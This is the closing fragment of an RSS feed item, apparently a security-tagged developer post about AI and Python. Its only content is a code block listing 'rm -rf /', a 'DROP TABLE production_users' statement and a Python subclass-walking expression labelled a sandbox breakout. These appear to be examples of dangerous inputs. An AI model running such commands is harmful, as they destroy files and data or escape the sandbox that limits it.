&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
bash
rm -rf /
DROP TABLE production_users;
().__class__.__base__.__subclasses__() # Sandbox breakout
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>security</category>
      <category>webdev</category>
    </item>
  </channel>
</rss>
